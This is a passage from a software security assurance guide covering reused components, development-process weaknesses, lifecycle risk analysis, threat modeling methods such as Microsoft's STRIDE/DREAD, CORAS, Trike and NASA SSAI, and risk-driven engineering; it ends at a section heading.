Determining whether the application that contains a given component, module, or program is secure requires an analysis of how that component/module/program is used in the application, and how the application as a whole will mitigate the impact of any compromise of its individual components that may arise from a successful attack on those components or on the interfaces between them. Risks of insecurity can be reduced through:

1. Vetting all acquired or reused and from-scratch components prior to acceptance and integration into the whole application;
2. Examination of interfaces, observation of instances of trust relationships, and implementation of wrappers when needed;
3. Security testing of the application as a whole. If source code is unavailable, the tester should execute as wide a variety of binary object (“black box”) security tests as possible.

Some specific security concerns associated with extensive use of acquired or reused software are:

- Establishing the security properties/attributes and assurance levels of candidate software products;
- Reliable disclosure of each candidate product’s security properties to other components of the application;
- Resolving mismatches between the security properties and functionalities of different components;
- Establishing aggregate assurance for applications integrated from components that have different security properties and assurance levels;
- Difficulty predicting behaviors of individual components, interactions among components, and interactions between application-level and environment-level components in dynamic environments, such as virtual machines, in which many environmental details are not defined until runtime;
- Difficulty determining assurance levels of acquired or reused software that can be reconfigured after the software goes into operational production.

Security wrappers are a popular means of encapsulating and isolating high-risk acquired or reused software so as to prevent it from negatively affecting the security of the application in which it is used. The majority of wrappers themselves are developed from scratch, thus adding to the cost of the application that use of the insecure acquired or reused component was meant to reduce.

In some cases, it will not be possible within the constraints of a development project’s schedule and budget to craft effective technical countermeasures against all of the security vulnerabilities in acquired or reused software.
The other options are to accept the risk of using insecure software components—an option that is unacceptable if that risk is too high—or to forego using acquired or reused software, and develop a secure alternative from scratch instead. Before committing to use any acquired or reused software, a risk analysis to the overall system’s security properties should be performed that considers all of these different options and their associated full-lifecycle costs.

The problem may be slightly mitigated when open source software is used. Open source software enables the developer to review, and if necessary (and possible within the constraints of the component’s open source license) rewrite problematic sections of, the open source code. However, the code review of an open source program does not do much to help predict the behavior of that software after it has been compiled and linked, and integrated/assembled with other application components. Note also that the modification of open source software reduces its value as “reusable” unless the modifications are fed back and incorporated into the component’s publicly-released source code base.

3.4.1. Development Challenges When Using Acquired or Reused Components

NOTE: Detailed information on security issues associated with assembly and integration of components appears in Section 5.3.2.

The shift of software, and particularly application, development away from from-scratch coding to integration or assembly of acquired or reused software programs, modules, or components requires concomitant shifts in the emphases and scheduling of several phases of the development lifecycle. For secure integration/assembly of acquired or reused components to be possible, the system must have a strong security architecture, and the components selected must be thoroughly vetted for their security properties, secure behaviors, and vulnerabilities. Extensive use of acquired and reused components approach does not remove the requirement for sound engineering practices. The traditional view of the software development lifecycle beginning with requirements specification and proceeding, in linear (though not necessarily “waterfall”) progression through architecture and high-level design, detailed design, implementation, testing, deployment, and maintenance, will likely be unrealistic.

A disciplined spiral or iterative development methodology will better accommodate the necessary evolutionary exploration of the highest risk components and interfaces, and the continuous visibility of the software system’s critical security properties. Use of executable representations of the software system, regenerated frequently throughout its iterative lifecycle, can help developers continuously refine and mature the security architecture of the software system.

3.4.1.1. Security Issues Associated with Technological Precommitments

Increasingly, organizations make project-wide and even organization-wide commitments to specific technologies, suppliers, or individual products without considering the security impact of such blanket technological precommitments on the ability to accurately specify and satisfy requirements in the systems, including the software applications, that are then constrained to using those precommitted technologies and products.

Technological precommitments, while they may achieve better interoperability and economy of scale across the organization, must be examined thoroughly (using data from a risk analysis) in order to ensure that the application satisfies its security and other requirements. The requirements specification process for an application that must submit to technological precommitments should be iterative. The first iteration should ignore such precommitments and capture the requirements, including the security requirements, based on the user’s needs statement, organizational mission, the application’s threat model, and any governing policy and standards mandates (including guidelines and best practices).

The technological precommitments then should be reviewed to determine whether:
1. Any particular requirements should be rewritten to ensure they can be satisfied within the constraints imposed by those precommitments;

2. Any additional requirements need to be added to mitigate any known vulnerabilities that use of the precommitted technologies/products may introduce.

The architecture and design of the application, then, needs to incorporate any constraints necessary to ensure that vulnerabilities in a precommitted technology or product are not able to negatively affect the security of the application in which that technology/product must be used.

If a precommitted technology or product proves to be too insecure to enable its vulnerabilities to be adequately mitigated when it is used in the application under development, the risk analyses performed through the application’s development lifecycle can be presented as evidence in making a persuasive case for waiving precommitment in the case of this particular application.
4. SECURITY IN THE DEVELOPMENT PROCESS

In their article “Security Guidance for .NET Framework 2.0” (see Appendix B), J.D. Meier et al assert

“To design, build, and deploy secure applications, you must integrate security into your application
development lifecycle and adapt your current software engineering practices and methodologies to include
specific security-related activities.”

Unfortunately, the average software development process contains numerous inadequacies that contribute to the presence of defects in software, such as:

- **Unrealistic development schedules**: Project managers seldom include additional time in project schedules to accommodate the checkpoints and validations required by good security engineering—particularly those involving interactions among acquired or reused components, which are likely to be released according to a variety of different schedules.

- **Insufficient capture of requirements for security properties and attributes**: Even when all functional security requirements are captured, software requirements analysts often fail to specify the requirements for the software’s security properties and attributes. Moreover, developers frequently do not understand how to design and implement software to satisfy such nonfunctional security requirements.

- **Defective design**: The design of the software does not anticipate all of the different state changes in the software that could result from state changes associated with attacks that originate in the software’s operational environment. The design does not consider aspects specifically related to acquired or reused software use. For example, the design should not include “dormant” functions that are not used in normal operation. Not only are such unnecessary functions superfluous, there is a possibility that they could be unexpectedly executed as the result of an unanticipated state change associated with an attack.

- **Insufficient developer security knowledge**: Software developers who are not security knowledgeable cannot recognize when some aspect of their software’s design or implementation may be exploitable to compromise the security of the software, nor, in fact, even recognize the importance of not introducing such design and implementation defects in the first place.

- **Security-deficient lifecycle control processes**: Software development processes that do not contain security checkpoints (peer reviews, design reviews, code reviews, security testing, etc.) throughout the lifecycle make it easier for rogue developers to subvert the security of software in development, either through including exploitable defects or backdoors, or by embedding malicious code in the software base. Control processes increase the likelihood of finding potentially exploitable vulnerability that may have been included unintentionally, i.e., non-malicious errors. Adding security requirements to the lifecycle process provides greater assurance that the resulting software will behave as expected and be resistant to attack.

- **Undisciplined development practices**: Undisciplined development processes can lead to unintentional inclusion of unintended requirements, exploitable design defects, inadequacies in security functionality, and other vulnerabilities. Some examples of undisciplined practices that can directly affect the security of software include:

  o Failure to include thorough reviews at each lifecycle phase, and to enforce the need to satisfy all exit criteria (including security criteria) of one phase before entering the next phase (e.g., ensuring that the security requirements are adequate before starting to design the software);
• Failure of different groups within a large development team to communicate frequently to ensure
that their assumptions about each other’s portion of the software remain valid;

• Failure to institute good configuration management, which includes ensuring that the version that
is “checked in” to the configuration control system cannot be modified after passing its review;

• Failure to address emergent security properties that require a total systems viewpoint.

**Inadequate documentation at all lifecycle phases:** Documentation provides the evidence the testers
need to formulate test plans that will sufficiently exercise the software in order to determine the presence
of required security properties, attributes, and to make some judgment about the level of assurance that
those properties and attributes will be consistently demonstrated throughout the software’s operational
lifetime. For this reason, the software’s requirements specification needs to capture all security property
and attribute requirements, not just security functionality requirements. The design specification needs to
thoroughly address all inputs, outputs, and possible data format characteristics. The security test plan
needs to include tests that exercise misuse/abuse cases, not just anticipated use cases.

As the experiences of software development organizations like Microsoft have begun to demonstrate, instituting
security best practices throughout the development lifecycle does produce demonstrably less vulnerable software
(see Section 4.3.2.1 for information on Microsoft’s experiences with its Security Development Lifecycle).

### 4.1. Identifying, Analyzing, and Managing Security Risk Throughout the
Software Lifecycle

It will be easier to produce software that is attack-resistant and attack-resilient if risk management activities and
checkpoints are integrated throughout the software development lifecycle, from its very inception through the
software’s decommissioning.

A risk is an expectation of loss expressed in terms of the likelihood that a particular threat will manifest to exploit
a particular vulnerability with a particular (harmful) result. Attacks on software can be viewed as “threat vectors”
that can lead to compromise of the software itself, or to the exploitation of one of the software’s defects in order
to compromise either the data the software accesses or makes accessible, or one or more of the other application
level, middleware level, or execution environment level software components with which it interacts. The main
objectives of the security-oriented risk analysis at every phase in the software development lifecycle at which it is
performed are to:

1. Identify, or adjust the baseline list, of all potential threats to the software, and rank them according to
   likelihood of exploitation, and severity and magnitude of impact. The potential of each identified
   vulnerability to compromise the software itself, or to be exploited to compromise something else with
   which the software interacts, should be captured in the risk assessment;

2. Identify, or adjust the baseline list, of any residual vulnerabilities in the software’s security properties and
   attributes, and associated functions, and identify the changes to the software requirements, design, or
   implementation that are needed to eliminate those vulnerabilities;

3. Estimate the cost of implementing each identified change.

The results of the risk analysis inform the risk management process, i.e., the process of identifying, controlling,
and eliminating or minimizing (i.e., “mitigating”) the uncertain events that may affect the security of the software.
The software’s specified security properties/attributes and associated functionalities should be directly aimed at
either eliminating the vulnerabilities identified in the risk assessment or minimizing their exploitability.
Risk analysis should be repeated iteratively throughout the software’s lifecycle to maintain the expectation level of security from the initial risk analysis. Additional security requirements discovered during the design, implementation, and testing phases should be incorporated back into the system’s requirements specification. Security defects and defects that lead to vulnerabilities found during testing should be analyzed to determine whether they originated with the system’s requirements, design, or implementation, and the root causes should be corrected in order to remove or mitigate the risk associated with that vulnerability. Risk analysis can also help prioritize security requirements to focus resources on those functions that introduce the greatest vulnerabilities to the system as a whole. Section 4.1.1 provides information on some significant software security risk analysis methodologies and supporting toolsets.

Some risks are avoidable and can (potentially) be eliminated, for example by changing the software system’s design or the components or configuration of its operating environment. However, there will likely be some unacceptable risks that cannot be eliminated, but which must instead be anticipated and securely handled by the system’s exception handling routines. The system’s security requirements must be specified to include the need to address all such unavoidable risks.

A combination of risk analysis methods can be applied to software throughout the development lifecycle. After initial risk analysis, further analysis can determine which components of the software may contribute to the existence of each risk, and which contribute to risk avoidance. Forward analysis can identify the potentially dangerous consequences of a successful attack on the software, while backward analysis can determine whether a hypothesized attack is credible. Applied iteratively through the development lifecycle phases, these methods can help refine the understanding of risk with increasing degrees of detail and granularity. Specifically, the following aspects of the software should be examined and compared during its risk analysis:

1. **Mission or business purpose**, as captured in its needs statement;
2. **Objectives**, as captured in its requirements specification;
3. **Structure and interfaces**, as depicted in its architecture and design specifications;
4. **Behaviors**, as revealed through its security testing.

After the initial risk analysis is performed, the subsequent software development lifecycle activities will all have the objective of minimizing and managing those risks, specifically by iteratively re-verifying that the risks have, in fact, been correctly understood, and their required eliminations or mitigations have been adequately stated. The outcome of these re-verifications will be the refinement of the application’s security requirements describing the specific security properties and mechanisms that must be incorporated into the application’s design, and implemented in the application itself, to mitigate the assessed security risks to an acceptable level.

Even after it has gone into production, the application will undergo periodic risk analyses to ensure that it continues to operate within acceptable risk levels, or to determine whether changes need to be made to the requirement specification, design, and/or implementation to mitigate or remove risks that may have accumulated over time or to address new threats.

### 4.1.1. Software Risk Analysis and Threat Modeling Methodologies

This section examines a part of the risk-driven development process: threat modeling. In order to know what mitigation steps must be taken, threats must be modeled by the architecture team, and the risks of the expression of the identified threats must be understood.

Establishing the threat model for a software product is a good first step, however further steps must be taken to avoid complacency. Every threat model and risk analysis report is a “living document” which should be revisited regularly, to ensure it continues to reflect both changes to the software artifact to which it pertains, and to
evolving threats and changing risks. It is in the interest of security that all parts of the management chain agree to take action when vulnerabilities are expressed before the release of a product.

4.1.1.1. Microsoft Threat Modeling Process

Threat modeling is a technique that adapts classic security risk analysis in ways that encourage the analyst to “think like an attacker” while systematically exploring the software system or application. This adoption of “attacker mentality” is key in the Microsoft Threat Modeling Process, in which the analyst-as-attacker tracks down ways in which the software can be compromised, then examines the software architecture to determine whether adequate countermeasures are in place.

The Microsoft Threat Modeling Process represents the combination of earlier threat modeling methods used by Microsoft and by @stake. In their book Threat Modeling (see Appendix B), Frank Swiderski and Windows Snyder, formerly of @stake, now of Microsoft, explain that the core artifact of Threat Modeling is the threat model—a detailed textual description and graphical depiction of significant threats to the software system/application being modeled. The threat model captures the ways in which the software’s functions and architecture may be targeted, and identifies the potential threat agents, i.e., vectors for delivering threat-associated attacks. The goals of these attacks form the basis for building a hierarchical tree of the security-related preconditions that would render those attacks possible.

Threat Modeling is an iterative process that starts during the architecture/high-level design phase. As the design is elaborated during its progression through subsequent phases of the lifecycle, the analyst is able to add more detail to the threat model via iterative repetitions of the Threat Modeling Process. The major steps of the Threat Modeling Process are:

1. **Identify assets:** Based on the software’s data flow diagram, the analyst identifies the software assets to be protected.

2. **Create an architecture overview:** The analyst uses diagrams and tables to capture the architecture of the software, including its subsystems, trust boundaries, data flows, and component technologies. With each Threat Modeling Process iteration, the design becomes more detailed, enabling deeper levels of decomposition and more extensive vulnerability identification.

3. **Decompose the software application or system:** The analyst decomposes the architecture (and in later iterations, the design), including the design of the software’s underlying execution environment (network and host infrastructure), to create a security profile for the software. This profile is used to reveal any potential vulnerabilities in the design, implementation, and deployment configuration of the software.

4. **Identify the threats:** Keeping the goals of an attacker in mind, and with knowledge of the software’s architecture and potential vulnerabilities, the analyst identifies the threats that could affect the software. In earlier versions of the Threat Modeling Process, this step included creation of attack trees; however, more recent versions of the Process have designated attack tree creation as optional, due to the high level of analyst expertise required to define them effectively.

5. **Document the threats:** The analyst documents each threat using a common threat template that specifies the core set of attributes to be captured for each threat.

6. **Rate the threats:** The analyst rates the threats according to their perceived severity (i.e., severity = perceived potential damage if the threat manifests as an attack). This rating is undertaken using the DREAD model described below, which helps the analyst prioritize the threats and identify the most significant among them. The analyst then compares the probability of those threats manifesting as attacks against the damage that would result should those attacks occur. The threats considered highest priority in
terms of need for mitigation are deemed to represent the highest risk because the cost associated with the potential damage outweighs the cost to mitigate the threat.

In their book *Writing Secure Code, Second Edition* (see Appendix B), Michael Howard and David LeBlanc of Microsoft describe the STRIDE model, to be used in the fourth step of the Threat Modeling Process to define the threat scenarios to be modeled. Like “C-I-A”, the acronym for “Confidentiality-Integrity-Availability”, STRIDE is an acronym, in this case incorporating different types of threats around which threat scenarios can be based. The threats in STRIDE are intended to be finer-grained than the security principles of C-I-A, and are also characterized from the attacker’s, rather than the defender’s, perspective. STRIDE can be applied to each iteration of the software’s design, in order to address the threats to the software’s C-I-A principles as captured in that level of the design.

The threat types represented by the STRIDE acronym include:

- **Spoofing**: Allows an adversary to pose as another user, process, or system that has an identity in the system being modeled;
- **Tampering**: Modification of data within the system to achieve a malicious goal;
- **Repudiation**: Ability of an attacker to deny performing some malicious activity because the system does not have sufficient proof otherwise;
- **Information disclosure**: Exposure of protected data to a user who is not authorized to access that data;
- **Denial of service**: Occurs when an application, system, or server is shut down or overwhelmed;
- **Elevation of privilege**: Occurs when an attacker uses illegitimate means to assume a trust level with different privileges than he or she currently possesses.

Complementing STRIDE is the DREAD risk calculation methodology (also introduced in *Writing Secure Code*). DREAD is used during the sixth step of the Threat Modeling Process as a tool for rating the threats and prioritizing their mitigations. As with STRIDE, DREAD is an acronym; each letter is the first letter of a question to be asked about the threat in order to determine its associated risk level:

- **Damage potential**: How much damage will be done if the threat is exploited by an attacker?
- **Reproducibility**: How easy is it for an attacker to exploit the threat?
- **Exploitability**: How much skill does an attacker need to have in order to exploit this threat?
- **Affected users**: How many users will be affected if this threat is exploited and an attack were mounted?
- **Discoverability**: How easy is it for an attacker to discover this threat in order to mount an attack?

Once all of the threat’s attributes have been ranked, the mean of the five attribute ratings are taken and this value is the perceived overall risk or equivalence class of the threat. Once this process is done for all identified threats, the threats are sorted by the overall risk value in descending order for priority determination.

Building a threat model is best conducted by a team that includes both system architects and developers, with an experienced threat modeler to lead the process. Microsoft has also developed a threat modeling tool, developed by Frank Swiderski to be used in conjunction with the Threat Modeling Process as described in *Threat Modeling*; this tool can be downloaded at no cost from:

Microsoft integrates the Threat Modeling Process into its Security Development Lifecycle (SDL) (see Section 4.3.2.1). Within the SDL, Threat Modeling begins simultaneously with the development of the software security architecture, and identifies the potentially vulnerable points of the software that need to be addressed by that architecture. Threat models also help drive the focus of code reviews and penetration tests, e.g., by helping to identify anonymous code paths, which should receive the most attention during code review, and by identifying the threat types to be replicated during penetration testing. The software’s threat model forms a core basis for defining the objectives of the remainder of the SDL phases, and it is refined through an iteration of the Process throughout those phases. The iterative nature of the Threat Modeling Process is intended to make it flexible enough to be used for software that is currently in development and for software already in production/operation. Microsoft deems the threat model so essential to the production of secure software that their management have adopted a policy of delaying product releases until all vulnerabilities indicated in a product’s threat model have been demonstrably mitigated or adequately managed.

Based on their own experiences and observations using threat modeling during the development of their application, framework, and system-level software products, Microsoft continues to enhance and refine the Threat Modeling Process. Thus, the most popular Microsoft publications describing the Process (including those listed in Appendix B) may not be the most current; however, all versions of the Threat Modeling Process should be considered useful. New adopters of Threat Modeling may wish to base their efforts on the most recently published version of the Process (and its supporting tool).

4.1.1.2. CORAS and SECURIS

The European Union (EU)-funded CORAS (Consultative Objective Risk Analysis System) project (IST-2000-25031) was intended to develop a base framework applicable to security critical systems to supply customizable, component-based roadmaps to aid the early discovery of security vulnerabilities, inconsistencies, and redundancies, and to provide methods to achieve the assurance that security policy has been implemented in the resulting system. The main objectives of the CORAS Project were to:

1. Develop a tool-supported methodology for model-based risk analysis of security-critical systems. This methodology is supported by a framework created through the synthesis of risk analysis methods and object oriented modeling techniques, semiformal methods, and supporting tools. The objective of this synthesis is the improvement of security analysis and security policy implementation for security-critical systems. The framework is intended to be used both when developing new systems and when maintaining and improving legacy systems;

2. Assess the applicability, usability, and efficiency of the CORAS framework through extensive experimentation in the fields of ecommerce, telemedicine, and telecommunications;

3. Investigate the commercial viability of the CORAS framework, and pursue its exploitation within relevant market segments. Also use CORAS as the basis for influencing relevant European and international standards efforts.

The CORAS framework comprises:

- Standards for precise and unambiguous evaluation, description, and definition of analyzed object sand the risks to which they are exposed;

- Standards for accurate specification of security requirements that form the basis for security policy;

- Adaptation or extension of a Reference Model for Open Distributed Processing (RM-ODP)-based reference model for modeling security-critical systems;
Unified Modeling Language (UML)-based specification language with extensions (Object Constraint Language [OCL] and other techniques) for security risk analysis;

Libraries of standard modeling elements for analyzed object models (includes a library of reusable experience packages);

Methods for consistency checks of the analysis results;

Methods for the comprehensible presentation and communication of object analysis results and security requirements. Includes a standard vulnerability assessment report format and XML-based markup language for exchanging risk assessment data, in support of qualitative modeling, management, and documentation of risks;

Automated tool to support the methodology, including an assessment repository and a repository to hold the reusable experience packages.

The Research Council of Norway’s SECURIS ([model-driven development and analysis of] Secure Information Systems) project builds on the results of several research projects, most notably CORAS and a comparable tool-supported model-driven system development methodology developed by the EU-funded COMBINE (Component-Based Interoperable Enterprise) project. The intended products of the SECURIS project will be four prototype tools and an accompanying methodology to support:

1. Capture and formalization of security requirements;
2. Model-driven specification and implementation of security policies;
3. Model-driven specification and development of security architectures;

For more information on CORAS and SECURIS, and to download their tools and libraries, visit the websites listed in Appendix B.

4.1.1.3. PTA Calculative Threat Modeling Methodology

PTA (Practical Threat Analysis) Technologies has developed what they call a Calculative Threat Modeling Methodology (CTMM). CTMM attempts to refine and expand on the Microsoft Threat Modeling Process to overcome what PTA has considers that Process’ limitations. In particular, according to PTA Technologies, Microsoft’s Threat Modeling tool, which combines Schneier’s Attack-Trees methodology with a standard Microsoft Threat Classification scheme, has some significant limitations:

- No support for relating threats to financial losses caused by attacks;
- No ranking/prioritization of countermeasures according effectiveness in reducing risk;
- Reliance on “predefined” cases, making the tool difficult to adapt for modeling other threat scenarios;
- No support for a complete system view for threat analysis or risk management;
- Limited reporting and collaboration capabilities.

PTA developed CTMM to complement or augment standards-based risk assessment procedures by providing a methodology and automated tools specifically geared to defining threats, vulnerabilities, and countermeasures. The PTA toolset includes a database of relevant security entities from which documentation can be automatically generated in support of the evaluation procedures required by a number of standards-based risk assessment and risk management methodologies including:

```
• International Standards Organization (ISO) 17799,
• British Standard (BS) 7799,
• System Security Engineering Capability Maturity Model (SSE-CMM),
• Software Engineering Institute (SEI) Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE),
• Federal Information Technology Security Assessment Framework (FITSAF),
• NIST FIPS 199,
• GAISP,
• Control Objectives for Information and related Technology (CoBIT),
• Information Technology Infrastructure Library (ITIL),
• NIST Special Publication (SP) 800-30,
• Information Security Foundation (ISF) Fundamental Information Risk Management (FIRM), Information Risk Analysis Methodologies (IRAM), and Simplified Process for Risk Identification (SPRINT),
• Certicom Security Auditor’s Research Assistant (SARA),
• Business Impact Analysis (BIA).

In addition, the enterprise-level version of the tool provides entity libraries for ISO 17799 and BS 7799 2002.

4.1.1.4. Trike

Trike is an open source conceptual framework, methodology, and supporting toolset that supports system and software security risk auditing through repeatable automated generation of threat models. The Trike methodology is designed to enable the risk analyst to completely and accurately describe the security characteristics of the system, from high-level architecture to low-level implementation details. Trike’s consistent conceptual framework provides a standard language that enables communication among members of the security analysis team, and between the security team and other system stakeholders.

The current version of the Trike methodology is under significant ongoing refinement by its developers, but should provide sufficient detail to allow its practical use. Trike generates the threat model using the Trike toolset that supports automatic generation of threat and attack graphs. The input to the threat model includes two additional Trike-generated models also generated by Trike, a requirements model and an implementation model, along with notes on system risk and work flows.

Trike provides high levels of automation. It is predicated on a defensive perspective that differs from those of other threat modeling methodologies, which are based on an offensive attacker perspective. The methodology also imposes a greater degree of formalism to the threat modeling process. However, to date much of the Trike methodology is still in the experimental stage, and has not been fully exercised against real systems.

4.1.1.5. Other Tools for Software Risk Assessment and Threat Modeling

In addition to the threat modeling tools associated with the methodologies described above, some other tools have emerged to complement the growing number of software security code review and vulnerability assessment tools (see Section 5.4.6) by supporting earlier-in-the-lifecycle threat modeling and risk analyses. The most noteworthy commercial toolset for software security risk management is the Prexis product suite from Ounce Labs (see Appendix B). Also notable is the open source National Aeronautics and Space Administration (NASA) Software Security Assessment Instrument (SSAI), described below.
4.1.1.5.1. NASA Software Security Assessment Instrument (SSAI)

The SSAI was developed under the aegis of the Reducing Software Security Risk (RSSR) program at the NASA Jet Propulsion Laboratory (JPL) Independent Verification and Validation (IV&V) Center, by engineers from NASA and from University of California at Davis (UC-Davis). The SSAI verifies and validates the security of software and the processes by which it is developed and maintained. The key elements of the SSAI are:

- Software Security Checklists for verifying the security of development and maintenance phase activities of the software lifecycle and of activities associated with the external release of software;
- Property-Based Tester (PBT);
- Flexible Modeling Framework (FMF) for modeling security specifications;
- Training slides on software security for managers, software system engineers, and developers.

NASA is currently expanding SSAI to include a software risk analysis tool, which will be an extended version of NASA’s existing tool for assessing software safety risks and reliability risks. The extension of this tool will add security as a component of the tool-driven software risk analysis performed.

The SSAI has been successfully used by NASA’s IV&V Facility with the cooperation of PatchLink Corporation to verify the security properties of the PatchLink Corporation Java-based Unix Agent. The findings of that security assessment are being used by PatchLink to improve the security of their product. To obtain a copy of the SSAI, visit the RSSR website (see Appendix B for URL) or send email to Kenneth McGill, RSSR Research Lead at the NASA JPL IV&V Center at: Kenneth.G.McGill@nasa.gov.

4.1.1.6. System Risk Assessment Methodologies and Tools Useful for Software Risk Analysis

Some general IT/system security risk assessment methodologies, while not specifically defined or adapted for examination of software systems, have been reported by software practitioners to provided excellent support in their software security risk analysis and threat modeling activities. A subset of these methodologies and tools are available under commercial or open source licenses, and are listed in Table 4-1, below, with resources for more information listed in Appendix B. Comparable proprietary methodologies either used only within a single firm on its own software (e.g., Sun Microsystems’ Adaptive Countermeasure Selection Mechanism/Security Adequacy Review [ACSM/SAR]) or used in a firm’s fee-for-service offerings but not made licensed to other users (e.g., Cigital’s Software Quality Management [SQM] and Aspect Security’s proprietary methodology and tools), are not referenced here.
Table 4-1. System Risk Assessment Methodologies and Tools

<table>
<thead>
<tr>
<th>Supplier</th>
<th>Methodology</th>
<th>Supporting Tool</th>
</tr>
</thead>
<tbody>
<tr>
<td>Carnegie Mellon University (CMU) SEI</td>
<td>OCTAVE and OCTAVE-S</td>
<td>same as methodology</td>
</tr>
<tr>
<td>Siemens/Insight Consulting</td>
<td>Central Computer and Telecommunications Agency (CCTA) Risk Analysis and Management Method (CRAMM)</td>
<td>same as methodology</td>
</tr>
<tr>
<td>Amenaza</td>
<td>n/a</td>
<td>SecurITree</td>
</tr>
<tr>
<td>Isograph</td>
<td>n/a</td>
<td>AttackTree+</td>
</tr>
</tbody>
</table>

4.2. Requirements-Driven Engineering and Software Security

The accurate specification of nonfunctional security requirements depends to a great extent on the ability to predict all of the states and behaviors that will ever arise in the software itself and in its operating environment, throughout the software’s lifetime. These not only include the states and behaviors that occur during normal usage, but also those that occur as the result of the intentionally-induced faults that manifest when the software is under attack.

A software requirements specification necessarily reflects a fixed set of assumptions about the state of the software’s operating environment and the resulting state of the software itself. The specification is necessarily written under the assumption that the software can continue to satisfy its requirements in the face of each of these anticipated state changes. But verifying correctness and predictability of software behaviors only under anticipated operating conditions is of limited value when it comes to verifying software security. For software to be considered secure, its secure behavior must consistently demonstrated and verifiable even when the software is subjected to unanticipated conditions.

Realistically, the software environment’s state and the software’s state in response to its environmental state, while it may remain constant for some percentage of the time, will be in flux the rest of the time, and not always according to predictable patterns of change. Given the volatile threat environment confronting the application and its environment, as well as the constant cycle of patching, reconfiguration, and updating of software (in the application and its execution environment), the security of the software’s state at a given point should be considered an indicator of the software’s expected behavior over time. This expected behavior can and should be evaluated to capture security requirements related to the expected behavior.

The success of requirements-based engineering necessarily depends on the specifier’s ability to anticipate and model with a high degree of accuracy and thoroughness the full range of different environment states with which the software will be confronted, and to describe each of the software’s own state changes in response to those anticipated changes in environmental state (again, with the objective of enabling the software to continue operating as required throughout those changes).

Even if such a comprehensive specification could be written, there remains a category of state changes that it may not be possible to model with the requisite high degree of accuracy and thoroughness. These are the state changes that result from a changing “threat environment” surrounding the software.
Current threat modeling techniques (see Section 4.3.1) enable the risk analyst to predict the environmental state changes that are likely to result from the manifestation of known threats (i.e., known attack patterns). Such threat modeling is very useful for then specifying the change in the software’s state that will be needed in response to these attack-induced environment state changes if the software is to keep operating correctly.

What threat modeling cannot do is foresee the future. It cannot with meaningful accuracy predict truly novel threats and attack patterns. And because it cannot, any software engineering process that is entirely requirements-driven, even with threat modeling contributing to the requirements process, will fail to adequately ensure the software’s ability to continue operating correctly throughout its lifetime. Even if the software can be demonstrated to satisfy all of its requirements under all anticipated operating conditions, it is not possible to predict whether that software will continue to satisfy those requirements when subjected to unanticipated conditions, such as exposure to new threats that did not exist at the time the software’s threat models were most recently revised.

4.2.1. Risk-Driven Software Engineering

To develop secure software, a combination of requirements-driven and risk-driven software engineering techniques is needed. Risk-driven engineering acknowledges the impossibility of predicting all future environmental state changes with a high enough degree of accuracy to ensure that software can remain correct over its lifetime.

Instead, risk-driven engineering institutes a constant “pulse check” of the environment and of the software’s response to it. This “pulse check” takes the form of ongoing iterative threat modeling and risk analysis. New threats (and associated attack patterns) that emerge are analyzed, and the results are fed back into the requirements specification process.

But risk-driven engineering does not stop there: there is clear recognition that the software’s potential vulnerabilities to new threats must be determined and mitigated as soon as those threats arise, regardless of the software lifecycle phase in which that may occur. In a risk-driven approach, correction of the software does not wait until the requirements specification is updated. Nor does the hunt for potentially exploitable vulnerabilities wait for a new requirements-driven test plan.

The software’s testing includes security reviews and tests that are driven not by requirements compliance verification objectives, but by the need to identify (in order to immediately remediate) any vulnerabilities in the software that the new threats can successfully target.

The remediations possible for such vulnerabilities will also depend on the lifecycle phase. If early enough in the lifecycle, it is possible that the requirements specification can be adjusted, and the software redesigned accordingly so that the vulnerability is eliminated before coding/integration. But if the vulnerability is identified after implementation/integration, it is more likely to need a remediation that involves a “secure in deployment” measure, such as a security patch, a reconfiguration, a wrapper, a filter/firewall, etc. Such “in deployment” remediations will ideally be seen as temporary stopgaps until a new release of the software, reflecting an updated specification and design from which the vulnerability is eliminated. And so, just as requirements-driven engineering forms the basis for quality assurance, risk-driven engineering forms the basis for risk management.

One vendor that has implemented a risk-driven engineering development lifecycle as a response to its high profile to attackers is Microsoft. Microsoft has delineated three security principles for software that emphasize the importance of considering security throughout the software’s lifecycle:

1. **Software should be secure by design:** The basic design of the software should be secure. We would reinterpret this principle to say: “Software should be demonstrably secure in its conception (i.e., requirements specification), its architecture and design, and its implementation. Relevant information is provided in Section 5.2 to address the implications of this principle.
2. **Software should be secure by default:** The software is “secure enough” in the configuration in which it is distributed. Section 5.5 discusses the security aspects of preparation of software for deployment and of distribution/shipment of software.

3. **Software should be secure in deployment:** The software’s security can be maintained after the software has gone into production. Specific activities associated with the developer’s role in helping ensure the ongoing security of production software appear in Section 5.6.

Security-enhancing the activities that comprise the software development lifecycle generally entails shifting the emphasis and expanding the scope of existing lifecycle activities so that security becomes as important as the other objectives to be achieved in the developed software. For this to happen, security must be explicitly stated among the list of all required properties of that software. In practical terms, security-enhancing will have the following general effects on the phases of the lifecycle:

1. **Requirements, design, implementation:** The initial functional requirements for the software will undergo a baseline security vulnerability and risk assessment. This will form the basis for specifying security requirements for the software, which when addressed through the system’s design and selected assembly alternative, should be able to be iteratively adjusted to reflect mitigations/reductions in risk achieved through good security engineering.

2. **Reviews, evaluations, and testing:** Security criteria will be considered in all specification, design, and code reviews throughout the software development lifecycle, and in the system engineering evaluations for acquired or reused software selection. Security testing will be included at all appropriate points throughout the lifecycle (using lifecycle phase-appropriate techniques), and not just “saved up” for the Security Test and Evaluation (ST&E) at the end.

The software development project manager should write and implement a software development plan that includes contingency plans for the worst-case scenarios. The development schedule should provide adequate time for the necessary security checkpoints and validations, and should also build in time to accommodate the inevitable delays caused by unanticipated problems.

The software development lifecycle process flow may be based on any of a variety of software development models, such as Linear Sequential (a.k.a. “Waterfall”), Spiral, or Staged Delivery. Regardless of which process model is used, it usually includes a comparable core set of phases, though with slightly different names. These core phases are captured in the “generic” lifecycle process model in Figure 4-1.

Regardless of the specific methodology and lifecycle model used, the development lifecycle represents a phased approach to the development of software, from requirements analysis through maintenance. John Steven of Cigital has suggested a good core set of factors that should be addressed regardless of the development methodology and lifecycle model being followed:

1. How are security stakeholders identified? How are their interests understood?
2. How are threats that concern stakeholders identified, assessed, prioritized for the software?
3. How is the design verified to satisfy its security objectives and requirements?
4. How is the design proven to be “good enough”, i.e., free of exploitable defects/vulnerabilities?
5. How is the code proven faithful to the design?
6. How is the code proven to be “good enough”, i.e., free of exploitable defects/vulnerabilities?
7. How are threats and vulnerabilities weighed against risks to the business/mission and stakeholders?
8. How are attacks identified and handled?
These questions form a good basis for shaping the risk management activities and validations that will be associated with each phase of the software lifecycle.

4.2.2. Planning for Late-Lifecycle Security Validations: System C&A and CC Evaluation

